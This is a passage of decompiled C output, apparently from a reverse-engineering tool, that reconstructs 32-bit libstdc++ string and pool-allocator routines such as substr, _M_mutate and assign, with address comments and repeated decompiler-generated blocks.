int32_t v5 = (int32_t)a1; // 0x809b2fd
g102 = v5;
g98 = *(int32_t *)(v5 + 4) + 13;
int32_t result; // 0x809b31d
if (g27 != 0) {
// 0x809b30f
result = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(&v1->e0, (int32_t *)g102);
std__allocator_lt_char_gt_();
g98 = v4;
g102 = v3;
g100 = (int32_t)v2;
return result;
}
int32_t v6 = 0x8132c08;
int32_t (*v7)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t);
if (__cxa_guard_acquire((char *)&v6, v5, 0, 0, 0, 0, 0, 0, 0) != 0) {
// 0x809b342
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v6 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v6 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v7 = (int32_t (*)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t))0x809b3d8;
// branch -> 0x809b30f
} else {
v7 = (int32_t (*)(char *, char *, int32_t *, int32_t, int32_t, int32_t, int32_t, int32_t))0x809b33e;
}
// 0x809b30f
result = __gnu_cxx____mt_alloc_lt_char_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___deallocate(&v1->e0, (int32_t *)g102);
std__allocator_lt_char_gt_();
g98 = v4;
g102 = v3;
g100 = (int32_t)v7;
return result;
}
// Address range: 0x809b3fe - 0x809b54f
int32_t std__string___S_construct_lt_char__ptr__gt_(char * a1, char * a2, int32_t * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) {
int32_t v1 = g100; // 0x809b3fe
int32_t v2 = g102; // 0x809b401
int32_t v3 = g101; // 0x809b402
int32_t v4 = (int32_t)a1; // 0x809b407
g102 = v4;
int32_t v5;
if (a1 != a2) {
// 0x809b411
if (a1 == NULL) {
// 0x809b548
v5 = (int32_t)"basic_string::_S_construct NULL not valid";
std____throw_logic_error("basic_string::_S_construct NULL not valid", 0, 0, 0);
return g95;
}
int32_t v6 = (int32_t)a2 - v4; // 0x809b41b
g101 = v6;
int32_t v7 = std__string___Rep___S_create((int32_t *)v6, &g2->e0); // 0x809b42f
int32_t v8 = v7 + 12; // 0x809b436
struct struct_99 * v9 = (struct struct_99 *)v8; // bp-36
if (g101 == 1) {
// 0x809b46f
*(char *)v8 = *(char *)g102;
// branch -> 0x809b454
} else {
// 0x809b441
memcpy((int32_t *)v8, (int32_t *)g102, g101);
// branch -> 0x809b454
}
// 0x809b454
((struct struct_99 *)v7)->e2 = 0;
*(int32_t *)v7 = g101;
*(char *)((int32_t)v9 + g101) = 0;
g101 = v3;
g102 = v2;
g100 = v1;
return (int32_t)v9;
}
void (*v10)();
if (g27 == 0) {
// 0x809b49d
v5 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v5, 0, 0, 0, 0, 0, 0, 0, 0) != 0) {
// 0x809b4ad
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v5 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v5 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v10 = (void (*)())0x809b543;
// branch -> 0x809b480
} else {
v10 = (void (*)())0x809b4a9;
}
}
// 0x809b480
std__allocator_lt_char_gt_();
int32_t v11;
g101 = v11;
int32_t v12;
g102 = v12;
g100 = (int32_t)v10;
return 0x8134ee8;
}
// Address range: 0x809b926 - 0x809bc07
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__640(int32_t * a1, int32_t * a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9) {
int32_t v1 = g102; // 0x809b929
int32_t v2 = g101; // 0x809b92a
int32_t v3 = g98; // 0x809b92b
g101 = a3;
g98 = a4;
int32_t v4; // 0x809b976
int32_t v5; // 0x809b9ad
int32_t v6;
int32_t v7;
int32_t v8;
int32_t v9;
int32_t v10;
int32_t v11;
int32_t v12;
int32_t v13; // bp-56
int32_t v14; // bp-60
int32_t v15; // 0x809b94c
int32_t v16; // 0x809b94e
int32_t v17; // 0x809b945
uint32_t v18; // 0x809b94c
int32_t v19; // 0x809b989
int32_t v20; // 0x809b954
uint32_t v21; // 0x809b947
int32_t v22; // 0x809b961
if (g27 == 0) {
// 0x809ba6c
v10 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v10, 0, 0, 0, 0, 0, 0, 0, 0) != 0) {
// 0x809bb3e
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v10 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v10 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x809ba87
}
// 0x809ba87
if (g27 == 0) {
// 0x809ba8f
v10 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v10, 0, 0, 0, 0, 0, 0, 0, 0) != 0) {
// 0x809baa3
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v10 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v10 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x809b942
}
// 0x809b942
v17 = *a2;
g97 = v17;
v21 = *(int32_t *)(v17 - 12);
v18 = g101;
v15 = v21 - v18;
v16 = g98;
v22 = v16;
if (v16 >= v15) {
// 0x809b952
g98 = v15;
v22 = v15;
// branch -> 0x809b954
}
// 0x809b954
v20 = v18 + v17;
if (v21 < v18) {
// 0x809bbe0
v10 = (int32_t)"basic_string::basic_string";
std____throw_out_of_range("basic_string::basic_string", 0);
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
v10 = g98;
_Unwind_Resume(&v12, NULL, NULL);
return g95;
}
// 0x809b961
v13 = v20 + v22;
v14 = v20;
v4 = std__string___S_construct_lt_char__ptr__gt_((char *)&v14, (char *)&v13, &v11, 0x1000000 * v22 / 0x1000000, 0, 0, 0, 0);
g98 = v4;
if (g27 == 0) {
// 0x809b9a6
v6 = 0x8132c08;
v5 = __cxa_guard_acquire((char *)&v6, (int32_t)a1, (int32_t)a2, a3, a4, a5, a6, a7, a8);
if (v5 != 0) {
// 0x809b9b6
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v6 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v6 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
*a1 = g98;
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
g98 = v7;
g101 = v8;
g102 = v9;
return &v12;
}
// 0x809b9a6
v19 = g98;
// branch -> 0x809b986
} else {
// 0x809b961
v19 = v4;
// branch -> 0x809b986
}
// 0x809b986
*a1 = v19;
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
g98 = v3;
g101 = v2;
g102 = v1;
return &v12;
}
}
// 0x809b942
v17 = *a2;
g97 = v17;
v21 = *(int32_t *)(v17 - 12);
v18 = g101;
v15 = v21 - v18;
v16 = g98;
v22 = v16;
if (v16 >= v15) {
// 0x809b952
g98 = v15;
v22 = v15;
// branch -> 0x809b954
}
// 0x809b954
v20 = v18 + v17;
if (v21 < v18) {
// 0x809bbe0
v10 = (int32_t)"basic_string::basic_string";
std____throw_out_of_range("basic_string::basic_string", 0);
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
v10 = g98;
_Unwind_Resume(&v12, NULL, NULL);
return g95;
}
// 0x809b961
v13 = v20 + v22;
v14 = v20;
v4 = std__string___S_construct_lt_char__ptr__gt_((char *)&v14, (char *)&v13, &v11, 0x1000000 * v22 / 0x1000000, 0, 0, 0, 0);
g98 = v4;
if (g27 == 0) {
// 0x809b9a6
v6 = 0x8132c08;
v5 = __cxa_guard_acquire((char *)&v6, (int32_t)a1, (int32_t)a2, a3, a4, a5, a6, a7, a8);
if (v5 != 0) {
// 0x809b9b6
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v6 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v6 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
*a1 = g98;
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
g98 = v7;
g101 = v8;
g102 = v9;
return &v12;
}
// 0x809b9a6
v19 = g98;
// branch -> 0x809b986
} else {
// 0x809b961
v19 = v4;
// branch -> 0x809b986
}
// 0x809b986
*a1 = v19;
std__allocator_lt_char_gt_();
std__allocator_lt_char_gt_();
g98 = v3;
g101 = v2;
g102 = v1;
return &v12;
}
// Address range: 0x809bc0c - 0x809bc4b
int32_t std__string__substr(int32_t a1, int32_t * a2, uint32_t a3, int32_t a4) {
int32_t v1 = g100; // 0x809bc0c
int32_t v2 = g98; // 0x809bc0f
g98 = a1;
if (*(int32_t *)(*a2 - 12) < a3) {
// 0x809bc44
std____throw_out_of_range("basic_string::substr", a1);
return g95;
}
int32_t v3 = a1; // bp-28
int32_t v4;
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__640(&v3, a2, a3, a4, 0, v2, v1, v4, a1);
int32_t result = g98; // 0x809bc3a
g98 = v2;
g100 = v1;
return result;
}
// Address range: 0x809c2d8 - 0x809c543
int32_t std__string___M_mutate(int32_t ** a1, int32_t ** a2, int32_t a3, int32_t a4) {
int32_t v1 = g102; // 0x809c2db
int32_t v2 = g101; // 0x809c2dc
int32_t v3 = g98; // 0x809c2dd
int32_t v4 = (int32_t)a2; // 0x809c2e1
g98 = v4;
int32_t v5 = (int32_t)a1; // 0x809c2e4
int32_t v6 = *(int32_t *)a1; // 0x809c2e7
g96 = v6;
int32_t v7 = *(int32_t *)(v6 - 12); // 0x809c2e9
g97 = a3;
uint32_t v8 = a4 - a3 + v7; // 0x809c2f7
struct struct_97 * v9 = (struct struct_97 *)v8; // bp-36
int32_t v10 = v7 - v4; // 0x809c2fc
int32_t v11 = v10 - a3; // 0x809c2fe
g101 = v11;
int32_t result; // 0x809c390
if (v8 <= *(int32_t *)(v6 - 8)) {
// 0x809c308
if (*(int32_t *)(v6 - 4) < 1) {
int32_t v12 = a3 & -256;
int32_t v13 = (int32_t)(a4 == a3) | v12; // 0x809c416
g95 = v13 ^ 1;
if (((int32_t)(v10 == a3) || v12) == v13) {
// 0x809c386
*(int32_t *)(v6 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
int32_t v14 = v6 + v4; // 0x809c421
int32_t v15 = v14 + a4; // 0x809c427
int32_t v16 = v14 + a3; // 0x809c42a
g95 = v16;
int32_t v17; // 0x809c4f8
if (v11 == 1) {
// 0x809c4f0
*(char *)v15 = *(char *)v16;
g95 = v5;
v17 = *(int32_t *)a1;
g96 = v17;
// branch -> 0x809c386
} else {
int32_t * v18 = (int32_t *)v16; // 0x809c441
memmove((int32_t *)v15, v18, v11);
int32_t v19 = *v18; // 0x809c449
g96 = v19;
v17 = v19;
// branch -> 0x809c386
}
// 0x809c386
*(int32_t *)(v17 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
}
// 0x809c313
int32_t ** v20; // 0x809c50d_52
int32_t ** v21; // 0x809c50d_53
int32_t ** v22; // 0x809c50d_54
int32_t ** v23; // 0x809c3f5_0
int32_t v24; // 0x809c334
int32_t v25; // 0x809c33b
int32_t v26; // 0x809c356
int32_t v27; // 0x809c401
int32_t v28; // 0x809c345
int32_t v29; // 0x809c35d
int32_t v30; // 0x809c384
int32_t v31; // 0x809c3a2
int32_t v32; // 0x809c33f
int32_t v33; // 0x809c35f
int32_t v34; // 0x809c3a8
int32_t v35; // 0x809c3b3
int32_t v36; // 0x809c3dc
if (g27 != 0) {
int32_t v37 = *(int32_t *)(v6 - 8); // 0x809c327
v24 = std__string___Rep___S_create(&v9->e0, &((struct struct_98 *)v37)->e0);
g102 = v24;
v25 = g98;
if (v25 == 0) {
// 0x809c356
v26 = g101;
v22 = a1;
if (v26 != 0) {
v36 = v26;
v20 = a1;
// 0x809c39f
v31 = g98;
v34 = a4 + 12 + g102 + v31;
v35 = *(int32_t *)v20 + v31 + a3;
if (v36 == 1) {
// 0x809c3bb
*(char *)v34 = *(char *)v35;
v22 = v20;
// branch -> 0x809c35a
} else {
// 0x809c3dc
memcpy((int32_t *)v34, (int32_t *)v35, v36);
v22 = (int32_t **)v35;
// branch -> 0x809c35a
}
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 != 0x8134edc) {
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 == 0x8134edc) {
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// 0x809c33f
v32 = v24 + 12;
v28 = *(int32_t *)a1;
if (v25 == 1) {
// 0x809c350
*(char *)v32 = *(char *)v28;
// branch -> 0x809c356
// 0x809c356
v26 = g101;
if (v26 != 0) {
v36 = v26;
v20 = a1;
// 0x809c39f
v31 = g98;
v34 = a4 + 12 + g102 + v31;
v35 = *(int32_t *)v20 + v31 + a3;
if (v36 == 1) {
// 0x809c3bb
*(char *)v34 = *(char *)v35;
v22 = v20;
// branch -> 0x809c35a
} else {
// 0x809c3dc
memcpy((int32_t *)v34, (int32_t *)v35, v36);
v22 = (int32_t **)v35;
// branch -> 0x809c35a
}
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 != 0x8134edc) {
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
v22 = a1;
} else {
// 0x809c3f1
v23 = (int32_t **)v28;
memcpy((int32_t *)v32, (int32_t *)v28, v25);
v27 = g101;
if (v27 != 0) {
v36 = v27;
v20 = v23;
// 0x809c39f
v31 = g98;
v34 = a4 + 12 + g102 + v31;
v35 = *(int32_t *)v20 + v31 + a3;
if (v36 == 1) {
// 0x809c3bb
*(char *)v34 = *(char *)v35;
v22 = v20;
// branch -> 0x809c35a
} else {
// 0x809c3dc
memcpy((int32_t *)v34, (int32_t *)v35, v36);
v22 = (int32_t **)v35;
// branch -> 0x809c35a
}
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 != 0x8134edc) {
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
v22 = v23;
}
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 != 0x8134edc) {
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// 0x809c3c2
if (__cxa_guard_acquire((char *)0x8132c08, v5, v4, a3, a4, 0, 0, 0, 0) == 0) {
// 0x809c3d2
// branch -> 0x809c320
} else {
// 0x809c450
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
g97 = v5;
// branch -> 0x809c320
}
struct struct_98 * v38 = (struct struct_98 *)*(int32_t *)(*(int32_t *)a1 - 8); // 0x809c32a_0
v24 = std__string___Rep___S_create(&v9->e0, &v38->e0);
g102 = v24;
v25 = g98;
if (v25 == 0) {
// 0x809c356
v26 = g101;
v22 = a1;
if (v26 == 0) {
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 != 0x8134edc) {
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
v36 = v26;
v20 = a1;
// 0x809c39f
v31 = g98;
v34 = a4 + 12 + g102 + v31;
v35 = *(int32_t *)v20 + v31 + a3;
if (v36 == 1) {
// 0x809c3bb
*(char *)v34 = *(char *)v35;
v22 = v20;
// branch -> 0x809c35a
} else {
// 0x809c3dc
memcpy((int32_t *)v34, (int32_t *)v35, v36);
v22 = (int32_t **)v35;
// branch -> 0x809c35a
}
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 != 0x8134edc) {
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// 0x809c33f
v32 = v24 + 12;
v28 = *(int32_t *)a1;
if (v25 == 1) {
// 0x809c350
*(char *)v32 = *(char *)v28;
// branch -> 0x809c356
// 0x809c356
v26 = g101;
if (v26 != 0) {
v36 = v26;
v20 = a1;
// 0x809c39f
v31 = g98;
v34 = a4 + 12 + g102 + v31;
v35 = *(int32_t *)v20 + v31 + a3;
if (v36 == 1) {
// 0x809c3bb
*(char *)v34 = *(char *)v35;
v22 = v20;
// branch -> 0x809c35a
} else {
// 0x809c3dc
memcpy((int32_t *)v34, (int32_t *)v35, v36);
v22 = (int32_t **)v35;
// branch -> 0x809c35a
}
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 != 0x8134edc) {
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
v22 = a1;
} else {
// 0x809c3f1
v23 = (int32_t **)v28;
memcpy((int32_t *)v32, (int32_t *)v28, v25);
v27 = g101;
if (v27 != 0) {
v36 = v27;
v20 = v23;
// 0x809c39f
v31 = g98;
v34 = a4 + 12 + g102 + v31;
v35 = *(int32_t *)v20 + v31 + a3;
if (v36 == 1) {
// 0x809c3bb
*(char *)v34 = *(char *)v35;
v22 = v20;
// branch -> 0x809c35a
} else {
// 0x809c3dc
memcpy((int32_t *)v34, (int32_t *)v35, v36);
v22 = (int32_t **)v35;
// branch -> 0x809c35a
}
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 != 0x8134edc) {
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
v22 = v23;
}
// 0x809c35a
v29 = *(int32_t *)v22;
v33 = v29 - 12;
g98 = v33;
v21 = v22;
if (v33 != 0x8134edc) {
// 0x809c4ff
if (__gnu_cxx____exchange_and_add((int32_t *)(v29 - 4), -1) <= 0) {
// 0x809c51a
std__string___Rep___M_destroy((int32_t *)g98);
v21 = (int32_t **)-1;
// branch -> 0x809c36e
} else {
v21 = (int32_t **)-1;
}
}
// 0x809c36e
*v21 = (int32_t *)(g102 + 12);
std__allocator_lt_char_gt_();
g95 = (int32_t)v21;
v30 = *(int32_t *)v21;
g96 = v30;
// branch -> 0x809c386
// 0x809c386
*(int32_t *)(v30 - 4) = 0;
result = (int32_t)v9;
*(int32_t *)(g96 - 12) = result;
*(char *)(g96 + result) = 0;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// Address range: 0x809c544 - 0x809c5a9
int32_t std__string___M_replace_safe(int32_t * a1, int32_t ** a2, int32_t a3, char * a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8, int32_t a9, int32_t a10) {
// 0x809c544
g101 = (int32_t)a1;
g102 = (int32_t)a2;
g98 = a5;
std__string___M_mutate((int32_t **)a1, a2, a3, a5);
if (g98 == 0) {
// 0x809c58d
return g101;
}
int32_t v1 = g102 + *(int32_t *)g101; // 0x809c573
int32_t v2 = (int32_t)a4; // 0x809c597
if (g98 != 1) {
// 0x809c57a
g95 = v2;
memcpy((int32_t *)v1, (int32_t *)a4, g98);
// branch -> 0x809c58d
// 0x809c58d
return g101;
}
// 0x809c597
g96 = v2;
unsigned char v3 = *a4; // 0x809c59a
g95 = v3;
*(char *)v1 = v3;
return g101;
}
// Address range: 0x809c5aa - 0x809c667
int32_t std__string__assign(int32_t ** a1, char * a2, char * a3) {
int32_t v1 = g101; // 0x809c5ad
int32_t v2 = g98; // 0x809c5ae
int32_t v3 = (int32_t)a1; // 0x809c5b2
g98 = v3;
int32_t v4 = (int32_t)a2; // 0x809c5b5
g96 = v4;
int32_t v5 = (int32_t)a3; // 0x809c5b8
g101 = v5;
int32_t v6 = *(int32_t *)a1; // 0x809c5bb
int32_t v7 = v6;
int32_t result; // 0x809c5ef
int32_t v8; // 0x809c663
if (a3 > (char *)0x3ffffffc) {
// 0x809c647
std____throw_length_error("basic_string::assign", v3, v4, v5);
// branch -> 0x809c653
// 0x809c653
memmove((int32_t *)g97, (int32_t *)g96, g101);
v8 = *(int32_t *)g98;
v7 = v8;
// branch -> 0x809c61e
// 0x809c61e
*(int32_t *)(v8 - 4) = 0;
*(int32_t *)(v7 - 12) = g101;
*(char *)(g101 + v7) = 0;
result = g98;
// branch -> 0x809c5ef
} else {
int32_t v9 = v4 - v6; // 0x809c5c8
if (v4 >= v6) {
// 0x809c5f8
if (v4 <= *(int32_t *)(v6 - 12) + v6) {
// 0x809c5ff
if (*(int32_t *)(v6 - 4) <= 0) {
// 0x809c606
g95 = v9;
unsigned char v10; // 0x809c617
int32_t v11; // 0x809c61c
int32_t v12; // 0x809c61e
if (v5 <= v9) {
// 0x809c62e
if (a3 == (char *)1) {
// 0x809c617
v10 = *a2;
g95 = v10;
*(char *)v6 = v10;
v11 = *(int32_t *)g98;
v7 = v11;
v12 = v11;
// branch -> 0x809c61e
} else {
// 0x809c633
memcpy((int32_t *)v6, (int32_t *)a2, v5);
int32_t v13 = *(int32_t *)g98; // 0x809c643
v7 = v13;
v12 = v13;
// branch -> 0x809c61e
}
// 0x809c61e
*(int32_t *)(v12 - 4) = 0;
*(int32_t *)(v7 - 12) = g101;
*(char *)(g101 + v7) = 0;
result = g98;
// branch -> 0x809c5ef
// 0x809c5ef
g98 = v2;
g101 = v1;
return result;
}
// 0x809c60e
if (v4 != v6) {
// 0x809c612
if (a3 == (char *)1) {
// 0x809c617
v10 = *a2;
g95 = v10;
*(char *)v6 = v10;
v11 = *(int32_t *)g98;
v7 = v11;
v12 = v11;
// branch -> 0x809c61e
} else {
// 0x809c653
memmove((int32_t *)v6, (int32_t *)v4, v5);
v8 = *(int32_t *)g98;
v7 = v8;
v12 = v8;
// branch -> 0x809c61e
}
// 0x809c61e
*(int32_t *)(v12 - 4) = 0;
*(int32_t *)(v7 - 12) = g101;
*(char *)(g101 + v7) = 0;
result = g98;
// branch -> 0x809c5ef
// 0x809c5ef
g98 = v2;
g101 = v1;
return result;
}
// 0x809c61e
*(int32_t *)(v4 - 4) = 0;
*(int32_t *)(v7 - 12) = g101;
*(char *)(g101 + v7) = 0;
result = g98;
// branch -> 0x809c5ef
// 0x809c5ef
g98 = v2;
g101 = v1;
return result;
}
}
}
